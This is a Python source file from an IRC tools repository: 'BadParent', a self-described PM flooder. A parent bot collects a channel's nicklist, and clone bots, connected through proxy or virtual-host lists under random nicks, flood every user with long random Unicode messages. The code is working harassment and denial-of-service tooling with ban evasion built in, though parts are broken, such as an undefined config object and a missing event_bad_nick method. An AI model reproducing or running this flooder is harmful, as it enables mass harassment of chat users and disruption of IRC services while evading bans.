archive

- Random tools & helpful resources for IRC
git clone git://git.acid.vegas/archive.git
Log | Files | Refs | Archive

badparent.py (8930B)

      1 #!/usr/bin/env python
      2 # BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
      3 # badparent.py
      4 
      5 '''
      6 The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
      7 The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
      8 Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
      9 '''
     10 
     11 import argparse
     12 import concurrent.futures
     13 import os
     14 import random
     15 import ssl
     16 import socket
     17 import string
     18 import sys
     19 import threading
     20 import time
     21 
     22 server   = 'irc.server.com'
     23 port     = 6667
     24 nickname = 'BIGDADDY'
     25 username = 'dad'
     26 realname = 'I am horrible...'
     27 
     28 def alert(msg):
     29 	print(f'{get_time()} | [+] - {msg}')
     30 
     31 def debug(msg):
     32 	print(f'{get_time()} | [~] - {msg}')
     33 
     34 def error(msg, reason=None):
     35 	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
     36 
     37 def error_exit(msg):
     38 	raise SystemExit(f'{get_time()} | [!] - {msg}')
     39 
     40 def get_time():
     41 	return time.strftime('%I:%M:%S')
     42 
     43 def random_str(size):
     44 	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
     45 
     46 def unicode():
     47 	msg = ''
     48 	for i in range(random.randint(400,450)):
     49 		msg += chr(random.randint(0x1000, 0x3000))
     50 	return msg
     51 
     52 
     53 
     54 
     55 class parent(object):
     56 	def __init__(self):
     57 		self.nicklist = list()
     58 		self.sock     = None
     59 
     60 	def connect(self):
     61 		try:
     62 			self.sock = socket.socket()
     63 			self.sock.connect((server, port))
     64 			self.raw(f'USER {username} 0 * :{realname}')
     65 			self.raw('NICK ' + nickname)
     66 		except socket.error as ex:
     67 			error('Failed to connect to IRC server.', ex)
     68 			self.event_disconnect()
     69 		else:
     70 			self.listen()
     71 
     72 	def event_connect(self):
     73 		if config.login.nickserv:
     74 			self.identify(config.ident.nickname, config.login.nickserv)
     75 		self.join_channel(config.connection.channel, config.connection.key)
     76 
     77 	def event_disconnect(self):
     78 		error('The parent bot has disconected!')
     79 		self.sock.close()
     80 
     81 	def event_end_of_names(self, chan):
     82 	   if self.nicklist:
     83 		   alert(f'Found {len(self.nicklist)} nicks in channel.')
     84 		   threading.Thread(target=load_children).start()
     85 	   else:
     86 		   error('Failed to parse nicklist from channel.')
     87 
     88 	def event_join(self, nick, chan):
     89 		if chan == config.connection.channel:
     90 			if nick not in self.nicklist:
     91 				self.nicklist.append(nick)
     92 
     93 	def event_kick(self, nick, chan, kicked):
     94 		if chan == config.connection.channel:
     95 			if kicked == config.ident.nickname:
     96 				time.sleep(3)
     97 				self.join(self.chan, self.key)
     98 
     99 	def event_names(self, chan, names):
    100 		if chan == config.connection.channel:
    101 			for name in names:
    102 				if name[:1] in '~!@%&+:':
    103 					name = name[1:]
    104 				if name != config.ident.nickname and name not in self.nicklist:
    105 					self.nicklist.append(name)
    106 
    107 	def event_nick(self, nick, new):
    108 		if nick in self.nicklist:
    109 			self.nicklist.remove(nick)
    110 			self.nicklist.append(new)
    111 
    112 	def event_nick_in_use(self):
    113 		self.raw('NICK ' + random_str(random.randint(4,7)))
    114 
    115 	def event_quit(self, nick):
    116 		if nick in self.nicklist:
    117 			self.nicklist.remove(nick)
    118 
    119 	def handle_events(self, data):
    120 		args = data.split()
    121 		if data.startswith('ERROR :Closing Link:'):
    122 			raise Exception('Connection has closed.')
    123 		elif args[0] == 'PING':
    124 			self.raw('PONG ' + args[1][1:])
    125 		elif args[1] == '001':
    126 			self.event_connect()
    127 		elif args[1] == '433':
    128 			self.event_nick_in_use()
    129 		elif args[1] == '353':
    130 			chan = args[4]
    131 			if ' :' in data:
    132 				names = data.split(' :')[1].split()
    133 			elif ' *' in data:
    134 				names = data.split(' *')[1].split()
    135 			elif ' =' in data:
    136 				names = data.split(' =')[1].split()
    137 			else:
    138 				names = data.split(chan)[1].split()
    139 			self.event_names(chan, names)
    140 		elif args[1] == '366':
    141 			chan = args[3]
    142 			self.event_end_of_names(chan)
    143 		elif args[1] == 'JOIN':
    144 			nick = args[0].split('!')[0][1:]
    145 			chan = args[2][1:]
    146 			self.event_join(nick, chan)
    147 		elif args[1] == 'KICK':
    148 			chan   = args[2]
    149 			kicked = args[3]
    150 			self.event_kick(nick, chan, kicked)
    151 		elif args[1] == 'NICK':
    152 			nick = args[0].split('!')[0][1:]
    153 			new  = args[2][1:]
    154 			self.event_nick(nick, new)
    155 		elif args[1] == 'QUIT' :
    156 			nick = args[0].split('!')[0][1:]
    157 			self.event_quit(nick)
    158 
    159 	def join_channel(self, chan, key=None):
    160 		self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
    161 
    162 	def listen(self):
    163 		while True:
    164 			try:
    165 				data = self.sock.recv(1024).decode('utf-8')
    166 				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
    167 					self.handle_events(line)
    168 			except (UnicodeDecodeError,UnicodeEncodeError):
    169 				pass
    170 			except Exception as ex:
    171 				error('Unexpected error occured.', ex)
    172 				break
    173 		self.event_disconnect()
    174 
    175 	def raw(self, msg):
    176 		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
    177 
    178 
    179 
    180 class child:
    181 	def __init__(self, data_line):
    182 		self.data_line = data_line
    183 		self.sock      = None
    184 
    185 	def attack(self):
    186 		while True:
    187 			try:
    188 				if not Parent.nicklist:
    189 					error('Nicklist has become empty!')
    190 					break
    191 				for name in Parent.nicklist:
    192 					self.sendmsg(name, unicode())
    193 					time.sleep(config.throttle.pm)
    194 			except:
    195 				break
    196 
    197 	def connect(self):
    198 		try:
    199 			self.create_socket()
    200 			self.sock.connect((config.connection.server, config.connection.port))
    201 			self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
    202 			self.raw('NICK ' + random_str(random.randint(4,7)))
    203 		except socket.error:
    204 			self.sock.close()
    205 		else:
    206 			self.listen()
    207 
    208 	def create_socket(self):
    209 		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
    210 		if pargs.proxy:
    211 			proxy_server, proxy_port = self.data_line.split(':')
    212 			self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
    213 			self.sock.setblocking(0)
    214 			self.sock.settimeout(config.throttle.timeout)
    215 			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
    216 		elif pargs.vhost:
    217 			self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
    218 			self.sock.bind((self.data_line, 0))
    219 		if config.connection.ssl:
    220 			self.sock = ssl.wrap_socket(self.sock)
    221 
    222 	def listen(self):
    223 		while True:
    224 			try:
    225 				data = self.sock.recv(1024).decode('utf-8')
    226 				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
    227 					args = data.split()
    228 					if data.startswith('ERROR :Closing Link:'):
    229 						raise Exception('Connection has closed.')
    230 					elif args[0] == 'PING':
    231 						self.raw('PONG ' + args[1][1:])
    232 					elif args[1] == '001':
    233 						alert(f'Successful connection. ({self.data_line})')
    234 						threading.Thread(target=self.attack).start()
    235 					elif args[1] == '401':
    236 						nick = args[3]
    237 						self.event_bad_nick()
    238 					elif args[1] == '433':
    239 						self.raw('NICK ' + random_str(random.randint(4,7)))
    240 					elif args[1] == '486':
    241 						nick = args[-1:]
    242 						self.event_bad_nick(nick)
    243 					elif args[1] == '716':
    244 						nick = args[3]
    245 						if nick in Parent.nicklist:
    246 							Parent.nicklist.remove(nick)
    247 					elif args[1] == 'NOTICE':
    248 						if 'User does not accept private messages' in data:
    249 							nick = args[5][1:-1]
    250 							self.event_bad_nick(nick)
    251 			except (UnicodeDecodeError,UnicodeEncodeError):
    252 				pass
    253 			except:
    254 				break
    255 		self.sock.close()
    256 
    257 	def raw(self, msg):
    258 		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
    259 
    260 	def sendmsg(self, target, msg):
    261 		self.raw(f'PRIVMSG {target} :{msg}')
    262 
    263 
    264 
    265 def load_children():
    266 	debug('Loading children bots...')
    267 	for i in range(config.throttle.concurrency):
    268 		debug('Concurrency round starting....')
    269 		with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
    270 			checks = {executor.submit(child(item).connect): item for item in data_lines}
    271 			for future in concurrent.futures.as_completed(checks):
    272 				checks[future]
    273 	debug('Flooding is complete. (Threads still may be running!)')
    274 
    275 # Main
    276 print('#'*56)
    277 print('#{0}#'.format(''.center(54)))
    278 print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
    279 print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
    280 print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
    281 print('#{0}#'.format(''.center(54)))
    282 print('#'*56)
    283 parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
    284 parser.add_argument('input',         help='file to scan')
    285 parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
    286 parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
    287 pargs = parser.parse_args()
    288 if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
    289 	error_exit('Invalid arguments.')
    290 if pargs.proxy:
    291 	try:
    292 		import socks
    293 	except ImportError:
    294 		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
    295 if not os.path.isfile(pargs.input):
    296 	error_exit('No such input file.')
    297 data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
    298 debug(f'Loaded {len(data_lines)} lines from file.')
    299 random.shuffle(data_lines)
    300 debug('Starting parent bot connection...')
    301 Parent = parent()
    302 Parent.connect()